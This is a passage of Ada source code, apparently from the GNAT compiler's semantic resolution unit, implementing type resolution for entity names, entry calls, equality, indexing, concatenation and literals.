Resolve_Discrete_Subtype_Indication; ------------------------- -- Resolve_Entity_Name -- ------------------------- -- Used to resolve identifiers and expanded names procedure Resolve_Entity_Name (N : Node_Id; Typ : Entity_Id) is E : constant Entity_Id := Entity (N); begin -- Replace named numbers by corresponding literals. Note that this is -- the one case where Resolve_Entity_Name must reset the Etype, since -- it is currently marked as universal. if Ekind (E) = E_Named_Integer then Set_Etype (N, Typ); Eval_Named_Integer (N); elsif Ekind (E) = E_Named_Real then Set_Etype (N, Typ); Eval_Named_Real (N); -- Allow use of subtype only if it is a concurrent type where we are -- currently inside the body. This will eventually be expanded -- into a call to Self (for tasks) or _object (for protected -- objects). Any other use of a subtype is invalid. elsif Is_Type (E) then if Is_Concurrent_Type (E) and then In_Open_Scopes (E) then null; else Error_Msg_N ("Invalid use of subtype mark in expression or call", N); end if; -- Check discriminant use if entity is discriminant in current scope, -- i.e. discriminant of record or concurrent type currently being -- analyzed. Uses in corresponding body are unrestricted. elsif Ekind (E) = E_Discriminant and then Scope (E) = Current_Scope and then not Has_Completion (Current_Scope) then Check_Discriminant_Use (N); -- A parameterless generic function cannot appear in a context that -- requires resolution. elsif Ekind (E) = E_Generic_Function then Error_Msg_N ("illegal use of generic function", N); elsif Ekind (E) = E_Out_Parameter and then Ada_83 and then (Nkind (Parent (N)) in N_Op or else (Nkind (Parent (N)) = N_Assignment_Statement and then N = Expression (Parent (N))) or else Nkind (Parent (N)) = N_Explicit_Dereference) then Error_Msg_N ("(Ada 83) illegal reading of out parameter", N); -- In all other cases, just do the possible static evaluation else -- A deferred constant that appears in an expression must have -- a completion, unless it has been removed by in-place expansion -- of an aggregate. if Ekind (E) = E_Constant and then Comes_From_Source (E) and then No (Constant_Value (E)) and then Is_Frozen (Etype (E)) and then not In_Default_Expression and then not Is_Imported (E) then if No_Initialization (Parent (E)) or else (Present (Full_View (E)) and then No_Initialization (Parent (Full_View (E)))) then null; else Error_Msg_N ( "deferred constant is frozen before completion", N); end if; end if; Eval_Entity_Name (N); end if; end Resolve_Entity_Name; ------------------- -- Resolve_Entry -- ------------------- procedure Resolve_Entry (Entry_Name : Node_Id) is Loc : constant Source_Ptr := Sloc (Entry_Name); Nam : Entity_Id; New_N : Node_Id; S : Entity_Id; Tsk : Entity_Id; E_Name : Node_Id; Index : Node_Id; function Actual_Index_Type (E : Entity_Id) return Entity_Id; -- If the bounds of the entry family being called depend on task -- discriminants, build a new index subtype where a discriminant is -- replaced with the value of the discriminant of the target task. -- The target task is the prefix of the entry name in the call. ----------------------- -- Actual_Index_Type -- ----------------------- function Actual_Index_Type (E : Entity_Id) return Entity_Id is Typ : Entity_Id := Entry_Index_Type (E); Tsk : Entity_Id := Scope (E); Lo : Node_Id := Type_Low_Bound (Typ); Hi : Node_Id := Type_High_Bound (Typ); New_T : Entity_Id; function Actual_Discriminant_Ref (Bound : Node_Id) return Node_Id; -- If the bound is given by a discriminant, replace with a reference -- to the discriminant of the same name in the target task. -- If the entry name is the target of a requeue statement and the -- entry is in the current protected object, the bound to be used -- is the discriminal of the object (see apply_range_checks for -- details of the transformation). ----------------------------- -- Actual_Discriminant_Ref -- ----------------------------- function Actual_Discriminant_Ref (Bound : Node_Id) return Node_Id is Typ : Entity_Id := Etype (Bound); Ref : Node_Id; begin Remove_Side_Effects (Bound); if not Is_Entity_Name (Bound) or else Ekind (Entity (Bound)) /= E_Discriminant then return Bound; elsif Is_Protected_Type (Tsk) and then In_Open_Scopes (Tsk) and then Nkind (Parent (Entry_Name)) = N_Requeue_Statement then return New_Occurrence_Of (Discriminal (Entity (Bound)), Loc); else Ref := Make_Selected_Component (Loc, Prefix => New_Copy_Tree (Prefix (Prefix (Entry_Name))), Selector_Name => New_Occurrence_Of (Entity (Bound), Loc)); Analyze (Ref); Resolve (Ref, Typ); return Ref; end if; end Actual_Discriminant_Ref; -- Start of processing for Actual_Index_Type begin if not Has_Discriminants (Tsk) or else (not Is_Entity_Name (Lo) and then not Is_Entity_Name (Hi)) then return Entry_Index_Type (E); else New_T := Create_Itype (Ekind (Typ), Parent (Entry_Name)); Set_Etype (New_T, Base_Type (Typ)); Set_Size_Info (New_T, Typ); Set_RM_Size (New_T, RM_Size (Typ)); Set_Scalar_Range (New_T, Make_Range (Sloc (Entry_Name), Low_Bound => Actual_Discriminant_Ref (Lo), High_Bound => Actual_Discriminant_Ref (Hi))); return New_T; end if; end Actual_Index_Type; -- Start of processing of Resolve_Entry begin -- Find name of entry being called, and resolve prefix of name -- with its own type. The prefix can be overloaded, and the name -- and signature of the entry must be taken into account. if Nkind (Entry_Name) = N_Indexed_Component then -- Case of dealing with entry family within the current tasks E_Name := Prefix (Entry_Name); else E_Name := Entry_Name; end if; if Is_Entity_Name (E_Name) then -- Entry call to an entry (or entry family) in the current task. -- This is legal even though the task will deadlock. Rewrite as -- call to current task. -- This can also be a call to an entry in an enclosing task. -- If this is a single task, we have to retrieve its name, -- because the scope of the entry is the task type, not the -- object. If the enclosing task is a task type, the identity -- of the task is given by its own self variable. -- Finally this can be a requeue on an entry of the same task -- or protected object. S := Scope (Entity (E_Name)); for J in reverse 0 .. Scope_Stack.Last loop if Is_Task_Type (Scope_Stack.Table (J).Entity) and then not Comes_From_Source (S) then -- S is an enclosing task or protected object. The concurrent -- declaration has been converted into a type declaration, and -- the object itself has an object declaration that follows -- the type in the same declarative part. Tsk := Next_Entity (S); while Etype (Tsk) /= S loop Next_Entity (Tsk); end loop; S := Tsk; exit; elsif S = Scope_Stack.Table (J).Entity then -- Call to current task. Will be transformed into call to Self exit; end if; end loop; New_N := Make_Selected_Component (Loc, Prefix => New_Occurrence_Of (S, Loc), Selector_Name => New_Occurrence_Of (Entity (E_Name), Loc)); Rewrite (E_Name, New_N); Analyze (E_Name); elsif Nkind (Entry_Name) = N_Selected_Component and then Is_Overloaded (Prefix (Entry_Name)) then -- Use the entry name (which must be unique at this point) to -- find the prefix that returns the corresponding task type or -- protected type. declare Pref : Node_Id := Prefix (Entry_Name); I : Interp_Index; It : Interp; Ent : Entity_Id := Entity (Selector_Name (Entry_Name)); begin Get_First_Interp (Pref, I, It); while Present (It.Typ) loop if Scope (Ent) = It.Typ then Set_Etype (Pref, It.Typ); exit; end if; Get_Next_Interp (I, It); end loop; end; end if; if Nkind (Entry_Name) = N_Selected_Component then Resolve (Prefix (Entry_Name), Etype (Prefix (Entry_Name))); else pragma Assert (Nkind (Entry_Name) = N_Indexed_Component); Nam := Entity (Selector_Name (Prefix (Entry_Name))); Resolve (Prefix (Prefix (Entry_Name)), Etype (Prefix (Prefix (Entry_Name)))); Index := First (Expressions (Entry_Name)); Resolve (Index, Entry_Index_Type (Nam)); -- Up to this point the expression could have been the actual -- in a simple entry call, and be given by a named association. if Nkind (Index) = N_Parameter_Association then Error_Msg_N ("expect expression for entry index", Index); else Apply_Range_Check (Index, Actual_Index_Type (Nam)); end if; end if; end Resolve_Entry; ------------------------ -- Resolve_Entry_Call -- ------------------------ procedure Resolve_Entry_Call (N : Node_Id; Typ : Entity_Id) is Entry_Name : constant Node_Id := Name (N); Loc : constant Source_Ptr := Sloc (Entry_Name); Actuals : List_Id; First_Named : Node_Id; Nam : Entity_Id; Norm_OK : Boolean; Obj : Node_Id; Was_Over : Boolean; begin -- Processing of the name is similar for entry calls and protected -- operation calls. Once the entity is determined, we can complete -- the resolution of the actuals. -- The selector may be overloaded, in the case of a protected object -- with overloaded functions. The type of the context is used for -- resolution. if Nkind (Entry_Name) = N_Selected_Component and then Is_Overloaded (Selector_Name (Entry_Name)) and then Typ /= Standard_Void_Type then declare I : Interp_Index; It : Interp; begin Get_First_Interp (Selector_Name (Entry_Name), I, It); while Present (It.Typ) loop if Covers (Typ, It.Typ) then Set_Entity (Selector_Name (Entry_Name), It.Nam); Set_Etype (Entry_Name, It.Typ); Generate_Reference (It.Typ, N, ' '); end if; Get_Next_Interp (I, It); end loop; end; end if; Resolve_Entry (Entry_Name); if Nkind (Entry_Name) = N_Selected_Component then -- Simple entry call. Nam := Entity (Selector_Name (Entry_Name)); Obj := Prefix (Entry_Name); Was_Over := Is_Overloaded (Selector_Name (Entry_Name)); else pragma Assert (Nkind (Entry_Name) = N_Indexed_Component); -- Call to member of entry family. Nam := Entity (Selector_Name (Prefix (Entry_Name))); Obj := Prefix (Prefix (Entry_Name)); Was_Over := Is_Overloaded (Selector_Name (Prefix (Entry_Name))); end if; -- Use context type to disambiguate a protected function that can be -- called without actuals and that returns an array type, and where -- the argument list may be an indexing of the returned value. if Ekind (Nam) = E_Function and then Needs_No_Actuals (Nam) and then Present (Parameter_Associations (N)) and then ((Is_Array_Type (Etype (Nam)) and then Covers (Typ, Component_Type (Etype (Nam)))) or else (Is_Access_Type (Etype (Nam)) and then Is_Array_Type (Designated_Type (Etype (Nam))) and then Covers (Typ, Component_Type (Designated_Type (Etype (Nam)))))) then declare Index_Node : Node_Id; begin Index_Node := Make_Indexed_Component (Loc, Prefix => Make_Function_Call (Loc, Name => Relocate_Node (Entry_Name)), Expressions => Parameter_Associations (N)); -- Since we are correcting a node classification error made by -- the parser, we call Replace rather than Rewrite. Replace (N, Index_Node); Set_Etype (Prefix (N), Etype (Nam)); Set_Etype (N, Typ); Resolve_Indexed_Component (N, Typ); return; end; end if; -- The operation name may have been overloaded. Order the actuals -- according to the formals of the resolved entity. if Was_Over then Normalize_Actuals (N, Nam, False, Norm_OK); pragma Assert (Norm_OK); end if; Resolve_Actuals (N, Nam); Generate_Reference (Nam, Entry_Name); if Ekind (Nam) = E_Entry or else Ekind (Nam) = E_Entry_Family then Check_Potentially_Blocking_Operation (N); end if; -- Verify that a procedure call cannot masquerade as an entry -- call where an entry call is expected. if Ekind (Nam) = E_Procedure then if Nkind (Parent (N)) = N_Entry_Call_Alternative and then N = Entry_Call_Statement (Parent (N)) then Error_Msg_N ("entry call required in select statement", N); elsif Nkind (Parent (N)) = N_Triggering_Alternative and then N = Triggering_Statement (Parent (N)) then Error_Msg_N ("triggering statement cannot be procedure call", N); elsif Ekind (Scope (Nam)) = E_Task_Type and then not In_Open_Scopes (Scope (Nam)) then Error_Msg_N ("Task has no entry with this name", Entry_Name); end if; end if; -- After resolution, entry calls and protected procedure calls -- are changed into entry calls, for expansion. The structure -- of the node does not change, so it can safely be done in place. -- Protected function calls must keep their structure because they -- are subexpressions. if Ekind (Nam) /= E_Function then -- A protected operation that is not a function may modify the -- corresponding object, and cannot apply to a constant. -- If this is an internal call, the prefix is the type itself. if Is_Protected_Type (Scope (Nam)) and then not Is_Variable (Obj) and then (not Is_Entity_Name (Obj) or else not Is_Type (Entity (Obj))) then Error_Msg_N ("prefix of protected procedure or entry call must be variable", Entry_Name); end if; Actuals := Parameter_Associations (N); First_Named := First_Named_Actual (N); Rewrite (N, Make_Entry_Call_Statement (Loc, Name => Entry_Name, Parameter_Associations => Actuals)); Set_First_Named_Actual (N, First_Named); Set_Analyzed (N, True); -- Protected functions can return on the secondary stack, in which -- case we must trigger the transient scope mechanism elsif Expander_Active and then Requires_Transient_Scope (Etype (Nam)) then Establish_Transient_Scope (N, Sec_Stack => not Functions_Return_By_DSP_On_Target); end if; end Resolve_Entry_Call; ------------------------- -- Resolve_Equality_Op -- ------------------------- -- Both arguments must have the same type, and the boolean context -- does not participate in the resolution. The first pass verifies -- that the interpretation is not ambiguous, and the type of the left -- argument is correctly set, or is Any_Type in case of ambiguity. -- If both arguments are strings or aggregates, allocators, or Null, -- they are ambiguous even though they carry a single (universal) type. -- Diagnose this case here. procedure Resolve_Equality_Op (N : Node_Id; Typ : Entity_Id) is L : constant Node_Id := Left_Opnd (N); R : constant Node_Id := Right_Opnd (N); T : Entity_Id := Find_Unique_Type (L, R); function Find_Unique_Access_Type return Entity_Id; -- In the case of allocators, make a last-ditch attempt to find a single -- access type with the right designated type. This is semantically -- dubious, and of no interest to any real code, but c48008a makes it -- all worthwhile. ----------------------------- -- Find_Unique_Access_Type -- ----------------------------- function Find_Unique_Access_Type return Entity_Id is Acc : Entity_Id; E : Entity_Id; S : Entity_Id := Current_Scope; begin if Ekind (Etype (R)) = E_Allocator_Type then Acc := Designated_Type (Etype (R)); elsif Ekind (Etype (L)) = E_Allocator_Type then Acc := Designated_Type (Etype (L)); else return Empty; end if; while S /= Standard_Standard loop E := First_Entity (S); while Present (E) loop if Is_Type (E) and then Is_Access_Type (E) and then Ekind (E) /= E_Allocator_Type and then Designated_Type (E) = Base_Type (Acc) then return E; end if; Next_Entity (E); end loop; S := Scope (S); end loop; return Empty; end Find_Unique_Access_Type; -- Start of processing for Resolve_Equality_Op begin Set_Etype (N, Base_Type (Typ)); Generate_Reference (T, N, ' '); if T = Any_Fixed then T := Unique_Fixed_Point_Type (L); end if; if T /= Any_Type then if T = Any_String or else T = Any_Composite or else T = Any_Character then if T = Any_Character then Ambiguous_Character (L); else Error_Msg_N ("ambiguous operands for equality", N); end if; Set_Etype (N, Any_Type); return; elsif T = Any_Access or else Ekind (T) = E_Allocator_Type then T := Find_Unique_Access_Type; if No (T) then Error_Msg_N ("ambiguous operands for equality", N); Set_Etype (N, Any_Type); return; end if; end if; if Comes_From_Source (N) and then Has_Unchecked_Union (T) then Error_Msg_N ("cannot compare Unchecked_Union values", N); end if; Resolve (L, T); Resolve (R, T); Check_Unset_Reference (L); Check_Unset_Reference (R); Generate_Operator_Reference (N); -- If this is an inequality, it may be the implicit inequality -- created for a user-defined operation, in which case the corres- -- ponding equality operation is not intrinsic, and the operation -- cannot be constant-folded. Else fold. if Nkind (N) = N_Op_Eq or else Comes_From_Source (Entity (N)) or else Ekind (Entity (N)) = E_Operator or else Is_Intrinsic_Subprogram (Corresponding_Equality (Entity (N))) then Eval_Relational_Op (N); elsif Nkind (N) = N_Op_Ne and then Is_Abstract (Entity (N)) then Error_Msg_NE ("cannot call abstract subprogram &!", N, Entity (N)); end if; end if; end Resolve_Equality_Op; ---------------------------------- -- Resolve_Explicit_Dereference -- ---------------------------------- procedure Resolve_Explicit_Dereference (N : Node_Id; Typ : Entity_Id) is P : constant Node_Id := Prefix (N); I : Interp_Index; It : Interp; begin -- Now that we know the type, check that this is not a -- dereference of an uncompleted type. Note that this -- is not entirely correct, because dereferences of -- private types are legal in default expressions. -- This consideration also applies to similar checks -- for allocators, qualified expressions, and type -- conversions. ??? Check_Fully_Declared (Typ, N); if Is_Overloaded (P) then -- Use the context type to select the prefix that has the -- correct designated type. Get_First_Interp (P, I, It); while Present (It.Typ) loop exit when Is_Access_Type (It.Typ) and then Covers (Typ, Designated_Type (It.Typ)); Get_Next_Interp (I, It); end loop; Resolve (P, It.Typ); Set_Etype (N, Designated_Type (It.Typ)); else Resolve (P, Etype (P)); end if; if Is_Access_Type (Etype (P)) then Apply_Access_Check (N); end if; -- If the designated type is a packed unconstrained array type, -- and the explicit dereference is not in the context of an -- attribute reference, then we must compute and set the actual -- subtype, since it is needed by Gigi. The reason we exclude -- the attribute case is that this is handled fine by Gigi, and -- in fact we use such attributes to build the actual subtype. -- We also exclude generated code (which builds actual subtypes -- directly if they are needed). if Is_Array_Type (Etype (N)) and then Is_Packed (Etype (N)) and then not Is_Constrained (Etype (N)) and then Nkind (Parent (N)) /= N_Attribute_Reference and then Comes_From_Source (N) then Set_Etype (N, Get_Actual_Subtype (N)); end if; -- Note: there is no Eval processing required for an explicit -- deference, because the type is known to be an allocators, and -- allocator expressions can never be static. end Resolve_Explicit_Dereference; ------------------------------- -- Resolve_Indexed_Component -- ------------------------------- procedure Resolve_Indexed_Component (N : Node_Id; Typ : Entity_Id) is Name : constant Node_Id := Prefix (N); Expr : Node_Id; Array_Type : Entity_Id := Empty; -- to prevent junk warning Index : Node_Id; begin if Is_Overloaded (Name) then -- Use the context type to select the prefix that yields the -- correct component type. declare I : Interp_Index; It : Interp; I1 : Interp_Index := 0; P : constant Node_Id := Prefix (N); Found : Boolean := False; begin Get_First_Interp (P, I, It); while Present (It.Typ) loop if (Is_Array_Type (It.Typ) and then Covers (Typ, Component_Type (It.Typ))) or else (Is_Access_Type (It.Typ) and then Is_Array_Type (Designated_Type (It.Typ)) and then Covers (Typ, Component_Type (Designated_Type (It.Typ)))) then if Found then It := Disambiguate (P, I1, I, Any_Type); if It = No_Interp then Error_Msg_N ("ambiguous prefix for indexing", N); Set_Etype (N, Typ); return; else Found := True; Array_Type := It.Typ; I1 := I; end if; else Found := True; Array_Type := It.Typ; I1 := I; end if; end if; Get_Next_Interp (I, It); end loop; end; else Array_Type := Etype (Name); end if; Resolve (Name, Array_Type); Array_Type := Get_Actual_Subtype_If_Available (Name); -- If prefix is access type, dereference to get real array type. -- Note: we do not apply an access check because the expander always -- introduces an explicit dereference, and the check will happen there. if Is_Access_Type (Array_Type) then Array_Type := Designated_Type (Array_Type); end if; -- If name was overloaded, set component type correctly now. Set_Etype (N, Component_Type (Array_Type)); Index := First_Index (Array_Type); Expr := First (Expressions (N)); -- The prefix may have resolved to a string literal, in which case -- its etype has a special representation. This is only possible -- currently if the prefix is a static concatenation, written in -- functional notation. if Ekind (Array_Type) = E_String_Literal_Subtype then Resolve (Expr, Standard_Positive); else while Present (Index) and Present (Expr) loop Resolve (Expr, Etype (Index)); Check_Unset_Reference (Expr); if Is_Scalar_Type (Etype (Expr)) then Apply_Scalar_Range_Check (Expr, Etype (Index)); else Apply_Range_Check (Expr, Get_Actual_Subtype (Index)); end if; Next_Index (Index); Next (Expr); end loop; end if; Eval_Indexed_Component (N); end Resolve_Indexed_Component; ----------------------------- -- Resolve_Integer_Literal -- ----------------------------- procedure Resolve_Integer_Literal (N : Node_Id; Typ : Entity_Id) is begin Set_Etype (N, Typ); Eval_Integer_Literal (N); end Resolve_Integer_Literal; --------------------------------- -- Resolve_Intrinsic_Operator -- --------------------------------- procedure Resolve_Intrinsic_Operator (N : Node_Id; Typ : Entity_Id) is Op : Entity_Id; Arg1 : Node_Id := Left_Opnd (N); Arg2 : Node_Id := Right_Opnd (N); begin Op := Entity (N); while Scope (Op) /= Standard_Standard loop Op := Homonym (Op); pragma Assert (Present (Op)); end loop; Set_Entity (N, Op); if Typ /= Etype (Arg1) or else Typ = Etype (Arg2) then Rewrite (Left_Opnd (N), Convert_To (Typ, Arg1)); Rewrite (Right_Opnd (N), Convert_To (Typ, Arg2)); Analyze (Left_Opnd (N)); Analyze (Right_Opnd (N)); end if; Resolve_Arithmetic_Op (N, Typ); end Resolve_Intrinsic_Operator; ------------------------ -- Resolve_Logical_Op -- ------------------------ procedure Resolve_Logical_Op (N : Node_Id; Typ : Entity_Id) is B_Typ : Entity_Id; begin -- Predefined operations on scalar types yield the base type. On -- the other hand, logical operations on arrays yield the type of -- the arguments (and the context). if Is_Array_Type (Typ) then B_Typ := Typ; else B_Typ := Base_Type (Typ); end if; -- The following test is required because the operands of the operation -- may be literals, in which case the resulting type appears to be -- compatible with a signed integer type, when in fact it is compatible -- only with modular types. If the context itself is universal, the -- operation is illegal. if not Valid_Boolean_Arg (Typ) then Error_Msg_N ("invalid context for logical operation", N); Set_Etype (N, Any_Type); return; elsif Typ = Any_Modular then Error_Msg_N ("no modular type available in this context", N); Set_Etype (N, Any_Type); return; end if; Resolve (Left_Opnd (N), B_Typ); Resolve (Right_Opnd (N), B_Typ); Check_Unset_Reference (Left_Opnd (N)); Check_Unset_Reference (Right_Opnd (N)); Set_Etype (N, B_Typ); Generate_Operator_Reference (N); Eval_Logical_Op (N); end Resolve_Logical_Op; --------------------------- -- Resolve_Membership_Op -- --------------------------- -- The context can only be a boolean type, and does not determine -- the arguments. Arguments should be unambiguous, but the preference -- rule for universal types applies. procedure Resolve_Membership_Op (N : Node_Id; Typ : Entity_Id) is L : constant Node_Id := Left_Opnd (N); R : constant Node_Id := Right_Opnd (N); T : Entity_Id; begin if L = Error or else R = Error then return; end if; if not Is_Overloaded (R) and then (Etype (R) = Universal_Integer or else Etype (R) = Universal_Real) and then Is_Overloaded (L) then T := Etype (R); else T := Intersect_Types (L, R); end if; Resolve (L, T); Check_Unset_Reference (L); if Nkind (R) = N_Range and then not Is_Scalar_Type (T) then Error_Msg_N ("scalar type required for range", R); end if; if Is_Entity_Name (R) then Freeze_Expression (R); else Resolve (R, T); Check_Unset_Reference (R); end if; Eval_Membership_Op (N); end Resolve_Membership_Op; ------------------ -- Resolve_Null -- ------------------ procedure Resolve_Null (N : Node_Id; Typ : Entity_Id) is begin -- For now allow circumvention of the restriction against -- anonymous null access values via a debug switch to allow -- for easier transition. if not Debug_Flag_J and then Ekind (Typ) = E_Anonymous_Access_Type and then Comes_From_Source (N) then -- In the common case of a call which uses an explicitly null -- value for an access parameter, give specialized error msg if Nkind (Parent (N)) = N_Procedure_Call_Statement or else Nkind (Parent (N)) = N_Function_Call then Error_Msg_N ("null is not allowed as argument for an access parameter", N); -- Standard message for all other cases (are there any?) else Error_Msg_N ("null cannot be of an anonymous access type", N); end if; end if; -- In a distributed context, null for a remote access to subprogram -- may need to be replaced with a special record aggregate. In this -- case, return after having done the transformation. if (Ekind (Typ) = E_Record_Type or else Is_Remote_Access_To_Subprogram_Type (Typ)) and then Remote_AST_Null_Value (N, Typ) then return; end if; -- The null literal takes its type from the context. Set_Etype (N, Typ); end Resolve_Null; ----------------------- -- Resolve_Op_Concat -- ----------------------- procedure Resolve_Op_Concat (N : Node_Id; Typ : Entity_Id) is Btyp : constant Entity_Id := Base_Type (Typ); Op1 : constant Node_Id := Left_Opnd (N); Op2 : constant Node_Id := Right_Opnd (N); procedure Resolve_Concatenation_Arg (Arg : Node_Id; Is_Comp : Boolean); -- Internal procedure to resolve one operand of concatenation operator. -- The operand is either of the array type or of the component type. -- If the operand is an aggregate, and the component type is composite, -- this is ambiguous if component type has aggregates. ------------------------------- -- Resolve_Concatenation_Arg -- ------------------------------- procedure Resolve_Concatenation_Arg (Arg : Node_Id; Is_Comp : Boolean) is begin if In_Instance then if Is_Comp or else (not Is_Overloaded (Arg) and then Etype (Arg) /= Any_Composite and then Covers (Component_Type (Typ), Etype (Arg))) then Resolve (Arg, Component_Type (Typ)); else Resolve (Arg, Btyp); end if; elsif Has_Compatible_Type (Arg, Component_Type (Typ)) then if Nkind (Arg) = N_Aggregate and then Is_Composite_Type (Component_Type (Typ)) then if Is_Private_Type (Component_Type (Typ)) then Resolve (Arg, Btyp); else Error_Msg_N ("ambiguous aggregate must be qualified", Arg); Set_Etype (Arg, Any_Type); end if; else if Is_Overloaded (Arg) and then Has_Compatible_Type (Arg, Typ) and then Etype (Arg) /= Any_Type then Error_Msg_N ("ambiguous operand for concatenation!", Arg); declare I : Interp_Index; It : Interp; begin Get_First_Interp (Arg, I, It); while Present (It.Nam) loop if Base_Type (Etype (It.Nam)) = Base_Type (Typ) or else Base_Type (Etype (It.Nam)) = Base_Type (Component_Type (Typ)) then Error_Msg_Sloc := Sloc (It.Nam); Error_Msg_N ("\possible interpretation#", Arg); end if; Get_Next_Interp (I, It); end loop; end; end if; Resolve (Arg, Component_Type (Typ)); if Arg = Left_Opnd (N) then Set_Is_Component_Left_Opnd (N); else Set_Is_Component_Right_Opnd (N); end if; end if; else Resolve (Arg, Btyp); end if; Check_Unset_Reference (Arg); end Resolve_Concatenation_Arg; -- Start of processing for Resolve_Op_Concat begin Set_Etype (N, Btyp); if Is_Limited_Composite (Btyp) then Error_Msg_N ("concatenation not available for limited array", N); end if; -- If the operands are themselves concatenations, resolve them as -- such directly. This removes several layers of recursion and allows -- GNAT to handle larger multiple concatenations. if Nkind (Op1) = N_Op_Concat and then not Is_Array_Type (Component_Type (Typ)) and then Entity (Op1) = Entity (N) then Resolve_Op_Concat (Op1, Typ); else Resolve_Concatenation_Arg (Op1, Is_Component_Left_Opnd (N)); end if; if Nkind (Op2) = N_Op_Concat and then not Is_Array_Type (Component_Type (Typ)) and then Entity (Op2) = Entity (N) then Resolve_Op_Concat (Op2, Typ); else Resolve_Concatenation_Arg (Op2, Is_Component_Right_Opnd (N)); end if; Generate_Operator_Reference (N); if Is_String_Type (Typ) then Eval_Concatenation (N); end if; -- If this is not a static concatenation, but the result is a -- string type (and not an array of strings) insure that static -- string operands have their subtypes properly constructed. if Nkind (N) /= N_String_Literal and then Is_Character_Type (Component_Type (Typ)) then Set_String_Literal_Subtype (Op1, Typ); Set_String_Literal_Subtype (Op2, Typ); end if; end Resolve_Op_Concat; ---------------------- -- Resolve_Op_Expon -- ---------------------- procedure Resolve_Op_Expon (N : Node_Id; Typ : Entity_Id) is B_Typ : constant Entity_Id := Base_Type (Typ); begin -- Catch attempts to do fixed-point exponentation with universal -- operands, which is a case where the illegality is not caught -- during normal operator analysis. if Is_Fixed_Point_Type (Typ) and then Comes_From_Source (N) then Error_Msg_N ("exponentiation not available for fixed point", N); return; end if; if Etype (Left_Opnd (N)) = Universal_Integer or else Etype (Left_Opnd (N)) = Universal_Real then Check_For_Visible_Operator (N, B_Typ); end if; -- We do the resolution using the base type, because intermediate values -- in expressions always are of the base type, not a subtype of it. Resolve (Left_Opnd (N), B_Typ); Resolve (Right_Opnd (N), Standard_Integer); Check_Unset_Reference (Left_Opnd (N)); Check_Unset_Reference (Right_Opnd (N)); Set_Etype (N, B_Typ); Generate_Operator_Reference (N); Eval_Op_Expon (N); -- Set overflow checking bit. Much cleverer code needed here eventually -- and perhaps the Resolve routines should be separated for the various -- arithmetic operations, since they will need different processing. ??? if Nkind (N) in N_Op then if not Overflow_Checks_Suppressed (Etype (N)) then Set_Do_Overflow_Check (N, True); end if; end if; end Resolve_Op_Expon; -------------------- -- Resolve_Op_Not -- -------------------- procedure Resolve_Op_Not (N : Node_Id; Typ : Entity_Id) is B_Typ : Entity_Id; function Parent_Is_Boolean return Boolean; -- This function determines if the parent node is a boolean operator -- or operation (comparison op, membership test, or short circuit form) -- and the not in question is the left operand of this operation. -- Note that if the not is in parens, then false is returned. function Parent_Is_Boolean return Boolean is begin if Paren_Count (N) /= 0 then return False; else case Nkind (Parent (N)) is when N_Op_And | N_Op_Eq | N_Op_Ge | N_Op_Gt | N_Op_Le | N_Op_Lt | N_Op_Ne | N_Op_Or | N_Op_Xor | N_In | N_Not_In | N_And_Then | N_Or_Else => return Left_Opnd (Parent (N)) = N; when others => return False; end case; end if; end Parent_Is_Boolean; -- Start of processing for Resolve_Op_Not begin -- Predefined operations on scalar types yield the base type. On -- the other hand, logical operations on arrays yield the type of -- the arguments (and the context). if Is_Array_Type (Typ) then B_Typ := Typ; else B_Typ := Base_Type (Typ); end if; if not Valid_Boolean_Arg (Typ) then Error_Msg_N ("invalid operand type for operator&", N); Set_Etype (N, Any_Type); return; elsif (Typ = Universal_Integer or else Typ = Any_Modular) then if Parent_Is_Boolean then Error_Msg_N ("operand of not must be enclosed in parentheses", Right_Opnd (N)); else Error_Msg_N ("no modular type available in this context", N); end if; Set_Etype (N, Any_Type); return; else if not Is_Boolean_Type (Typ) and then Parent_Is_Boolean then Error_Msg_N ("?not expression should be parenthesized here", N); end if; Resolve (Right_Opnd (N), B_Typ); Check_Unset_Reference (Right_Opnd (N)); Set_Etype (N, B_Typ); Generate_Operator_Reference (N); Eval_Op_Not (N); end if; end Resolve_Op_Not; ----------------------------- -- Resolve_Operator_Symbol -- ----------------------------- -- Nothing to be done, all resolved already procedure Resolve_Operator_Symbol (N : Node_Id; Typ : Entity_Id) is begin null; end Resolve_Operator_Symbol; ---------------------------------- -- Resolve_Qualified_Expression -- ---------------------------------- procedure Resolve_Qualified_Expression (N : Node_Id; Typ : Entity_Id) is Target_Typ : constant Entity_Id := Entity (Subtype_Mark (N)); Expr : constant Node_Id := Expression (N); begin Resolve (Expr, Target_Typ); -- A qualified expression requires an exact match of the type, -- class-wide matching is not allowed. if Is_Class_Wide_Type (Target_Typ) and then Base_Type (Etype (Expr)) /= Base_Type (Target_Typ) then Wrong_Type (Expr, Target_Typ); end if; -- If the target type is unconstrained, then we reset the type of -- the result from the type of the expression. For other cases, the -- actual subtype of the expression is the target type. if Is_Composite_Type (Target_Typ) and then not Is_Constrained (Target_Typ) then Set_Etype (N, Etype (Expr)); end if; Eval_Qualified_Expression (N); end Resolve_Qualified_Expression; ------------------- -- Resolve_Range -- ------------------- procedure Resolve_Range (N : Node_Id; Typ : Entity_Id) is L : constant Node_Id := Low_Bound (N); H : constant Node_Id := High_Bound (N); begin Set_Etype (N, Typ); Resolve (L, Typ); Resolve (H, Typ); Check_Unset_Reference (L); Check_Unset_Reference (H); -- We have to check the bounds for being within the base range as -- required for a non-static context. Normally this is automatic -- and done as part of evaluating expressions, but the N_Range -- node is an exception, since in GNAT we consider this node to -- be a subexpression, even though in Ada it is not. The circuit -- in Sem_Eval could check for this, but that would put the test -- on the main evaluation path for expressions. Check_Non_Static_Context (L); Check_Non_Static_Context (H); end Resolve_Range; -------------------------- -- Resolve_Real_Literal -- -------------------------- procedure Resolve_Real_Literal (N : Node_Id; Typ : Entity_Id) is Actual_Typ : constant Entity_Id := Etype (N); begin -- Special processing for fixed-point literals to make sure that the -- value is an exact multiple of small where this is required. We -- skip this for the universal real case, and also for generic types. if Is_Fixed_Point_Type (Typ) and then Typ /= Universal_Fixed and then Typ /= Any_Fixed and then not Is_Generic_Type (Typ) then declare Val : constant Ureal := Realval (N); Cintr : constant Ureal := Val / Small_Value (Typ); Cint : constant Uint := UR_Trunc (Cintr); Den : constant Uint := Norm_Den (Cintr); Stat : Boolean; begin -- Case of literal is not an exact multiple of the Small if Den /= 1 then -- For a source program literal for a decimal fixed-point -- type, this is statically illegal (RM 4.9(36)). if Is_Decimal_Fixed_Point_Type (Typ) and then Actual_Typ = Universal_Real and then Comes_From_Source (N) then Error_Msg_N ("value has extraneous low order digits", N); end if; -- Replace literal by a value that is the exact representation -- of a value of the type, i.e. a multiple of the small value, -- by truncation, since Machine_Rounds is false for all GNAT -- 